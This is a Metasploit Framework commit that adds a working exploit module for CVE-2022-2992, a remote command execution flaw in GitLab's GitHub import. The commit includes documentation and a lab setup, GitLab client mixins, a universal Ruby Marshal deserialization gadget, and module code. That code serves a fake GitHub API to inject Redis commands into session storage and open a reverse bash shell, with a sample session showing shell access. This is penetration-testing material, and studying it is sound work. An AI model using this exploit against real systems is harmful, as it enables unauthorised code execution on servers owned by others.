Land #17281, Added module for CVE-2022-2992

Added module for CVE-2022-2992 - Gitlab Remote Command Execution via Github import
This commit is contained in:
Spencer McIntyre 2023-02-14 16:57:29 -05:00
commit ac9d60ce9e
No known key found for this signature in database
GPG Key ID: 58101BA0D0D9C987
21 changed files with 944 additions and 0 deletions

View File

@ -0,0 +1,201 @@
## Vulnerable Application
### Description
An authenticated user can import a repository from GitHub into GitLab.
When importing a GitHub repository the GitLab api client uses `Sawyer` for handling the responses. This takes a JSON hash and converts
it into a Ruby class that has methods matching all of the keys. This happens recursively, and allows for any method to be overridden
including built-in methods such as `to_s`.
The redis gem uses `to_s` and `bytesize` to generate the RESP (Redis serialization protocol) command. By replying with a specially
crafted JSON object (that will be further parsed as a `Sawyer::Resource`), one controlling the GitHub server can inject arbitrary
redis commands to the stream.
On August 30, 2022, GitLab released a software update that addressed this vulnerability (CVE-2022-2992).
The following products are affected:
- From 11.10 to 15.1.6
- From 15.2 to 15.2.4
- From 15.3 to 15.3.2
### Exploitation
This module exploits the GitLab vulnerability by injecting a Ruby serialized object into the Redis user
session object. Once GitLab calls the Marshal.load when loading the ` _gitlab_session` cookie, it will
execute a deserialization gadget and trigger the payload.
To achieve that this module:
- Will generate an universal Ruby deserialization gadget payload;
- Will create an access token for the user targeted;
- Will start a server to emulate GitHub and serve the payload to be injected;
- Will create a group and also trigger the GitHub import feature to the repository from the controlled server
- Will perform a request using the just injected session ID that when loaded must trigger the payload.
After the execution the cleanup method will be called and:
- Should delete the created group and consequently the repository
- Should revoke the access token created
- Should logout the user
### Setup
Create a `docker-compose.yml` file as below:
```yml
services:
gitlab:
image: 'gitlab/gitlab-ee:15.3.1-ee.0'
restart: always
container_name: gitlab
hostname: 'gitlab.example'
network_mode: "bridge"
ports:
- '880:80'
- '8443:443'
volumes:
- gitlab_config:/etc/gitlab
- gitlab_logs:/var/log/gitlab
- gitlab_data:/var/opt/gitlab
volumes:
gitlab_config:
driver: local
gitlab_logs:
driver: local
gitlab_data:
driver: local
```
Run the below command to create the container:
```
$ docker-compose up
```
Wait for container to be "healthy" before continue. One can use [this](https://github.com/redwaysecurity/CVEs/blob/main/CVE-2022-2992/environment/healthy.sh) bash script to monitor the status.
```
$ # Creating personal access token for the root user
$ TOKEN=`tr -dc A-Za-z0-9 </dev/urandom | head -c 24 ; echo ''`
$ docker exec -e TOKEN=$TOKEN -it gitlab gitlab-rails runner "token = User.find_by_username('root').personal_access_tokens.create(scopes: [:sudo, :api], name: 'Automation token'); token.set_token(ENV['TOKEN']); token.save!"
$ # Using the personal access token from the root user a user.
$ USER=msf
$ PASSWORD=SuperStrongestGitLabPassword
$ curl --request POST --header "PRIVATE-TOKEN: $TOKEN" --data "skip_confirmation=true&email=$USER@gitlab.example&name=$USER&username=$USER&password=$PASSWORD" "http://gitlab.example:880/api/v4/users"
```
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Options
### TARGETURI (required)
The path to the GitLab (Default: `/`).
### USERNAME (required)
The username of the target user to authenticate with.
### PASSWORD (required)
The password of the target user to authenticate with.
### SRVHOST (required)
The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
### SRVPORT (required)
The local port to listen on. This is the port to be used when creating the tunnel.
### URIHOST
Host to use in GitHub import URL. On default GitLab instances, this must be either a public (non-RFC1918) IP address or
a hostname that resolves to a public IP address. This option can be used in conjunction with a reverse port-forwarding
service such as SSH or NGROK. **The target GitLab server will connect to this host and eventually receive the payload
through it, so it is important to use a host that is considered to be trustworthy.**
## Scenarios
### Docker container running GitLab 15.3.1
The following example uses the following three hosts:
* 192.168.159.128 -- The target GitLab server
* 192.168.250.134 -- The host on which Metasploit is running
* ext.msflab.local -- An external host on the internet through which the HTTP requests from GitLab to Metasploit are
tunneled in order to bypass GitLab restrictions.
External to Metasploit, SSH is used to setup a reverse port forward through a host with a public (non-RFC1918) IP
address. This is necessary to bypass Import URL restrictions that are in place by default on GitLab. The port-forward
was configured with `ssh -R 8088:localhost:8088 ext.msflab.local` to forward TCP port 8088 on ext.msflab.local to the
local Metasploit instance. Alternatively, this step could be skipped if Metasploit were running on a host with public IP
address.
If the target GitLab server can not import from the specified URL (for example because the host is a private IP
address), then the module will throw this error:
```
[-] Exploit failed: Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError Invalid URL: http://192.168.250.134:8088/
```
```
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > options
Module options (exploit/multi/http/gitlab_github_import_rce_cve_2022_2992):
Name Current Setting Required Description
---- --------------- -------- -----------
IMPORT_DELAY 5 yes Time to wait from the import task before try to trigger the payload
PASSWORD Password1! yes The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.128 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 880 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8088 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to the gitlab application
URIHOST ext.msflab.local no Host to use in GitHub import URL
URIPATH no The URI to use for this exploit (default is random)
USERNAME smcintyre yes The username to authenticate as
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.250.134 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > run
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected GitLab version 15.3.1 which is vulnerable.
[*] Using URL: http://ext.msflab.local:8088/
[*] Command shell session 1 opened (192.168.250.134:4444 -> 192.168.250.134:56794) at 2023-02-13 13:41:05 -0500
id
[*] Server stopped.
uid=998(git) gid=998(git) groups=998(git)
pwd
/var/opt/gitlab/gitlab-rails/working
exit
[*] 192.168.159.128 - Command shell session 1 closed.
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) >
```

View File

@ -0,0 +1,35 @@
# -*- coding: binary -*-
module Msf
class Exploit
class Remote
module HTTP
# This module provides a way of interacting with gitlab installations
module Gitlab
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
include Msf::Exploit::Remote::HTTP::Gitlab::Authenticate
include Msf::Exploit::Remote::HTTP::Gitlab::Error
include Msf::Exploit::Remote::HTTP::Gitlab::Form
include Msf::Exploit::Remote::HTTP::Gitlab::Groups
include Msf::Exploit::Remote::HTTP::Gitlab::Helpers
include Msf::Exploit::Remote::HTTP::Gitlab::Import
include Msf::Exploit::Remote::HTTP::Gitlab::Rest
include Msf::Exploit::Remote::HTTP::Gitlab::Version
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the gitlab application', '/'])
], Msf::Exploit::Remote::HTTP::Gitlab
)
end
# class GitLabClientException < StandardError; end
end
end
end
end
end

View File

@ -0,0 +1,7 @@
# -*- coding: binary -*-
# GitLab Access Tokens mixin
module Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
include Msf::Exploit::Remote::HTTP::Gitlab::Form::AccessTokens
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::AccessTokens
end

View File

@ -0,0 +1,5 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Authenticate
include Msf::Exploit::Remote::HTTP::Gitlab::Form::Authenticate
end

View File

@ -0,0 +1,43 @@
module Msf::Exploit::Remote::HTTP::Gitlab::Error
# GitLab error mixin
class ClientError < ::StandardError
def initialize(message: nil)
super(message || 'Gitlab Client Error')
end
end
# Authentication error
class AuthenticationError < ClientError
def initialize
super(message: 'Authentication failed')
end
end
# Csrf token error
class CsrfError < ClientError
def initialize(message = 'Could not successfully extract CSRF token')
super(message: message)
end
end
# Group error
class GroupError < ClientError
def initialize(message)
super(message: message)
end
end
# Import error
class ImportError < ClientError
def initialize(message)
super(message: message)
end
end
# Version error
class VersionError < ClientError
def initialize
super(message: 'Unable to determine Gitlab version')
end
end
end

View File

@ -0,0 +1,2 @@
module Msf::Exploit::Remote::HTTP::Gitlab::Form
end

View File

@ -0,0 +1,34 @@
# -*- coding: binary -*-
# Create a Gitlab Access Token via form
module Msf::Exploit::Remote::HTTP::Gitlab::Form::AccessTokens
# Create Gitlab access access token
#
# @return [String,nil] Gitlab personal access token if created, nil otherwise
def gitlab_create_personal_access_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/-/profile/personal_access_tokens'),
'keep_cookies' => true,
'vars_post' => {
'personal_access_token[name]' => Rex::Text.rand_text_alphanumeric(8),
'personal_access_token[expires_at]' => '',
'personal_access_token[scopes][]' => 'api',
'commit' => 'Create personal access token'
},
'headers' => {
'X-CSRF-Token' => gitlab_helper_extract_csrf_token(path: '/-/profile/personal_access_tokens', regex: /name="csrf-token" content="(.*)"/)
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to create access token. Unexpected HTTP #{res.code} response." unless res.code == 200
token = JSON.parse(res.body)['new_token']
return token if token
nil
end
end

View File

@ -0,0 +1,61 @@
# -*- coding: binary -*-
# GitLab session mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Form::Authenticate
# performs a gitlab login
#
# @param user [String] Username
# @param pass [String] Password
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
def gitlab_sign_in(username, password)
sign_in_path = '/users/sign_in'
csrf_token = gitlab_helper_extract_csrf_token(
path: sign_in_path,
regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"}
)
raise Msf::Exploit::Remote::HTTP::GitLab::Error::CsrfError unless csrf_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, sign_in_path),
'keep_cookies' => true,
'vars_post' => gitlab_helper_login_post_data(username, password, csrf_token)
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if res.code != 302
cookies = res.get_cookies
# Check if a valid gitlab cookie is returned
return cookies if cookies =~ /(_gitlab_session=[A-Za-z0-9%-]+)/i
nil
end
# performs a gitlab logout
#
# @return [Boolean,GitLabError] True if sign out, Msf::Exploit::Remote::HTTP::Gitlab::Error otherwise
def gitlab_sign_out
csrf_token = gitlab_helper_extract_csrf_token(
path: '/',
regex: /name="csrf-token" content="(.*)"/
)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/users/sign_out'),
'keep_cookies' => true,
'vars_post' => {
'_method' => 'post',
'authenticity_token' => csrf_token
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, 'Failed to sign out' unless res.code == 302 && res.headers&.fetch('Location', '')&.include?('/users/sign_in')
true
end
end

View File

@ -0,0 +1,6 @@
# -*- coding: binary -*-
# GitLab Groups mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Groups
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Groups
end

View File

@ -0,0 +1,43 @@
# -*- coding: binary -*-
# GitLab helpers mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Helpers
# Helper methods are private and should not be called by modules
private
# Returns the POST data for a Gitlab login request
#
# @param user [String] Username
# @param pass [String] Password
# @param csrf_token [String] CSRF token
# @return [Hash] The post data for vars_post Parameter
def gitlab_helper_login_post_data(user, pass, csrf_token)
post_data = {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'user[login]' => user,
'user[password]' => pass,
'user[remember_me]' => 0
}
post_data
end
def gitlab_helper_extract_csrf_token(path:, regex:)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, path),
'keep_cookies' => true
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' if res.nil?
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError unless res&.code == 200
token = res.body[regex, 1]
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError, "Could not successfully extract CSRF token using the regex #{regex}" if token.nil?
token
end
end

View File

@ -0,0 +1,6 @@
# -*- coding: binary -*-
# GitLab import mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Import
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Import
end

View File

@ -0,0 +1,4 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Rest
end

View File

@ -0,0 +1,2 @@
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4
end

View File

@ -0,0 +1,23 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::AccessTokens
# Revoke a Gitlab access token via the v4 REST api
#
# @return [nil,GitLabClientError] nil if revoke, Msf::Exploit::Remote::HTTP::Gitlab::GitLabClientError otherwise
def gitlab_revoke_personal_access_token(personal_access_token)
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, '/api/v4/personal_access_tokens/self'),
'ctype' => 'application/json',
'headers' => {
'PRIVATE-TOKEN' => personal_access_token
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to revoke access token. Unexpected HTTP #{res.code} response." unless res.code == 204
nil
end
end

View File

@ -0,0 +1,51 @@
# -*- coding: binary -*-
# GitLab Groups mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Groups
# Create a new group
#
# @return [String,nil] Group ID if successful create, nil otherwise
def gitlab_create_group(group_name, api_token)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v4/groups'),
'ctype' => 'application/json',
'headers' => {
'PRIVATE-TOKEN' => api_token
},
'data' => {
name: group_name, path: group_name, visibility: 'public'
}.to_json
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to create group. Unexpected HTTP #{res.code} response." if res.code != 201
group = JSON.parse(res.body)
return group if group
nil
end
# Delete a group
#
# @return [Bolean,GitLabClientError] True if successful deleted, Msf::Exploit::Remote::HTTP::Gitlab::GitLabClientError otherwise
def gitlab_delete_group(group_id, api_token)
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri('/api/v4/groups', group_id),
'ctype' => 'application/json',
'headers' => {
'PRIVATE-TOKEN' => api_token
}
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to delete group. Unexpected HTTP #{res.code} response." if res.code != 202
true
end
end

View File

@ -0,0 +1,45 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Import
# Import a repository from a remote URL
#
# @return [String,nil] Import ID if successfully enqueued, nil otherwise
def gitlab_import_github_repo(group_name:, github_hostname:, api_token:)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v4/import/github'),
'ctype' => 'application/json',
'headers' => {
'PRIVATE-TOKEN' => api_token
},
'data' => {
'personal_access_token' => Rex::Text.rand_text_alphanumeric(8),
'repo_id' => rand(1000),
'target_namespace' => group_name,
'new_name' => "gh-import-#{rand(1000)}",
'github_hostname' => github_hostname
}.to_json
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
# 422 is returned if the import failed, but the response body contains the error message
if res.code == 422
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, ((res.get_json_document || {})['errors'] || 'Import failed')
end
# 201 is returned if the import was successfully enqueued
unless res.code == 201
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, ((res.get_json_document || {})['errors'] || 'Import failed')
end
# Example of a successful response body
# {"id":54,"name":"gh-import-761","full_path":"/fpXxUqzfQY/gh-import-761","full_name":"fpXxUqzfQY / gh-import-761"}
body = res.get_json_document
return body if body
nil
end
end

View File

@ -0,0 +1,23 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Version
# Extracts the Gitlab version information from various sources
#
# @return [String,nil] Gitlab version if found, nil otherwise
def gitlab_version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/v4/version'),
'keep_cookies' => true
})
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError unless res.code == 200
body = JSON.parse(res.body)
version = body['version'][Regexp.new(Msf::Exploit::Remote::HTTP::Gitlab::GITLAB_VERSION_PATTERN), 1]
return version if version
nil
end
end

View File

@ -0,0 +1,9 @@
# -*- coding: binary -*-
# GitLab version mixin
module Msf::Exploit::Remote::HTTP::Gitlab::Version
# Used to check if the version is correct: must contain at least one dot
GITLAB_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)'.freeze
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Version
end

View File

@ -0,0 +1,54 @@
# -*- coding: binary -*-
# Ruby deserialization mixin
module Msf
# Ruby deserialization exploit module
module Exploit::RubyDeserialization
include Msf::Exploit::Powershell
# Generate a binary blob that when deserialized by Ruby will execute the specified command using the platform-specific
# shell.
#
# @param [String] name The name of the payload to use.
# @param [String] command The OS command to execute.
#
# @return [String] The opaque data blob.
def generate_ruby_deserialization_for_command(command, name)
Msf::Util::RubyDeserialization.payload(name, command)
end
# Generate a binary blob that when deserialized by ruby will execute the specified payload. This routine converts the
# payload automatically based on the platform and architecture.
#
# @param [String] name The name of the payload to use.
# @param [Msf::EncodedPayload] payload The payload to execute.
#
# @raise [RuntimeError] This raises a RuntimeError of the specified payload can not be automatically converted to an
# operating system command.
#
# @return [String] The opaque data blob.
def generate_ruby_deserialization_for_payload(payload, name)
command = nil
if payload.platform.platforms == [Msf::Module::Platform::Windows]
if [ Rex::Arch::ARCH_X86, Rex::Arch::ARCH_X64 ].include? payload.arch.first
command = cmd_psh_payload(payload.encoded, payload.arch.first, { remove_comspec: true })
elsif payload.arch.first == Rex::Arch::ARCH_CMD
command = payload.encoded
end
elsif payload.arch.first == Rex::Arch::ARCH_CMD
command = payload.encoded
end
if command.nil?
raise 'Could not generate the payload for the platform/architecture combination'
end
generate_ruby_deserialization_for_command(command, name)
end
def self.gadget_chains
Msf::Util::RubyDeserialization.payload_names
end
end
end

View File

@ -0,0 +1,34 @@
# -*- coding: binary -*-
# Ruby deserialization Utility
module Msf
module Util
# Ruby deserialization class
class RubyDeserialization
# That could be in the future a list of payloads used to exploit the Ruby deserialization vulnerability.
PAYLOADS = {
# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
net_writeadapter: proc do |command|
"\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement" \
"[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:" \
"#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI#{Marshal.dump(Rex::Text.rand_text_alphanumeric(12..20))[2..-1]}" \
"\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14" \
"Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r" \
"@git_setI#{Marshal.dump(command)[2..-1]}\x06;\fT;\x12:\fresolve"
end
}
def self.payload(payload_name, command = nil)
raise ArgumentError, "#{payload_name} payload not found in payloads" unless payload_names.include? payload_name.to_sym
PAYLOADS[payload_name.to_sym].call(command)
end
def self.payload_names
PAYLOADS.keys
end
end
end
end

View File

@ -0,0 +1,256 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Gitlab
include Msf::Exploit::RubyDeserialization
attr_accessor :cookie
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab GitHub Repo Import Deserialization RCE',
'Description' => %q{
An authenticated user can import a repository from GitHub into GitLab.
If a user attempts to import a repo from an attacker-controlled server,
the server will reply with a Redis serialization protocol object in the nested
`default_branch`. GitLab will cache this object and
then deserialize it when trying to load a user session, resulting in RCE.
},
'Author' => [
'William Bowling (vakzz)', # discovery
'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module
'RedWay Security <https://infosec.exchange/@redway>', # PoC
],
'References' => [
['URL', 'https://hackerone.com/reports/1679624'],
['URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992'], # PoC
['URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/371884'],
['CVE', '2022-2992']
],
'DisclosureDate' => '2022-10-06',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
OptInt.new('IMPORT_DELAY', [true, 'Time to wait from the import task before try to trigger the payload', 5]),
OptAddress.new('URIHOST', [false, 'Host to use in GitHub import URL'])
]
)
deregister_options('GIT_URI')
end
def group_name
@group_name ||= Rex::Text.rand_text_alpha(8..12)
end
def api_token
@api_token ||= gitlab_create_personal_access_token
end
def session_id
@session_id ||= Rex::Text.rand_text_hex(32)
end
def redis_payload(cmd)
serialized_payload = generate_ruby_deserialization_for_command(cmd, :net_writeadapter)
gitlab_session_id = "session:gitlab:#{session_id}"
# A RESP array of 3 elements (https://redis.io/docs/reference/protocol-spec/)
# The command set
# The gitlab session to load the payload from
# The Payload itself. A Ruby serialized command
"*3\r\n$3\r\nset\r\n$#{gitlab_session_id.size}\r\n#{gitlab_session_id}\r\n$#{serialized_payload.size}\r\n#{serialized_payload}"
end
def check
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
vprint_status('Trying to get the GitLab version')
version = Rex::Version.new(gitlab_version)
return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless (
version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||
version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||
version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))
)
report_vuln(
host: rhost,
name: name,
refs: references,
info: [version]
)
return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
return CheckCode::Detected('Could not detect the version because authentication failed.')
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
return CheckCode::Unknown("#{e.class} - #{e.message}")
end
def cleanup
super
return unless @import_id
gitlab_delete_group(@group_id, api_token)
gitlab_revoke_personal_access_token(api_token)
gitlab_sign_out
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
print_error("#{e.class} - #{e.message}")
end
def exploit
if Rex::Socket.is_internal?(srvhost_addr)
print_warning("#{srvhost_addr} is an internal address and will not work unless the target GitLab instance is using a non-default configuration.")
end
setup_repo_structure
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
}
})
execute_command(payload.encoded)
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
vprint_status("Session ID: #{session_id}")
vprint_status("Creating group #{group_name}")
# We need group id for the cleanup method
@group_id = gitlab_create_group(group_name, api_token)['id']
fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id
@redis_payload = redis_payload(cmd)
# import a repository from GitHub
vprint_status('Importing a repository from GitHub')
@import_id = gitlab_import_github_repo(
group_name: group_name,
github_hostname: get_uri,
api_token: api_token
)['id']
fail_with(Failure::UnexpectedReply, 'Failed to import a repository from GitHub') unless @import_id
# wait for the import tasks to finish
select(nil, nil, nil, datastore['IMPORT_DELAY'])
# execute the payload
send_request_cgi({
'uri' => normalize_uri(target_uri.path, group_name),
'method' => 'GET',
'keep_cookies' => false,
'cookie' => "_gitlab_session=#{session_id}"
})
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
fail_with(Failure::Unknown, "#{e.class} - #{e.message}")
end
def setup_repo_structure
blob_object_fname = "#{Rex::Text.rand_text_alpha(5..10)}.txt"
blob_data = Rex::Text.rand_text_alpha(5..12)
blob_object = Msf::Exploit::Git::GitObject.build_blob_object(blob_data)
tree_data =
{
mode: '100644',
file_name: blob_object_fname,
sha1: blob_object.sha1
}
tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_data)
commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: tree_object.sha1)
git_objs = [ commit_obj, tree_object, blob_object ]
@refs =
{
'HEAD' => 'refs/heads/main',
'refs/heads/main' => commit_obj.sha1
}
@packfile = Msf::Exploit::Git::Packfile.new('2', git_objs)
end
# Handle incoming requests from GitLab server
def on_request_uri(cli, req)
super
headers = { 'Content-Type' => 'application/json' }
data = {}.to_json
case req.uri
when %r{/api/v3/rate_limit}
headers.merge!({
'X-RateLimit-Limit' => '100000',
'X-RateLimit-Remaining' => '100000'
})
when %r{/api/v3/repositories/(\w{1,20})}
id = Regexp.last_match(1)
name = Rex::Text.rand_text_alpha(8..12)
data = {
id: id,
name: name,
full_name: "#{name}/name",
clone_url: "#{get_uri.gsub(%r{/+$}, '')}/#{name}/public.git"
}.to_json
when %r{/\w+/public.git/info/refs}
data = build_pkt_line_advertise(@refs)
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-advertisement' })
when %r{/\w+/public.git/git-upload-pack}
data = build_pkt_line_sideband(@packfile)
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-result' })
when %r{/api/v3/repos/\w+/\w+}
bytes_size = rand(3..8)
data = {
'default_branch' => {
'to_s' => {
'bytesize' => bytes_size,
'to_s' => "+#{Rex::Text.rand_text_alpha_lower(bytes_size)}\r\n#{@redis_payload}"
# using a simple string format for RESP
}
}
}.to_json
end
send_response(cli, data, headers)
end
end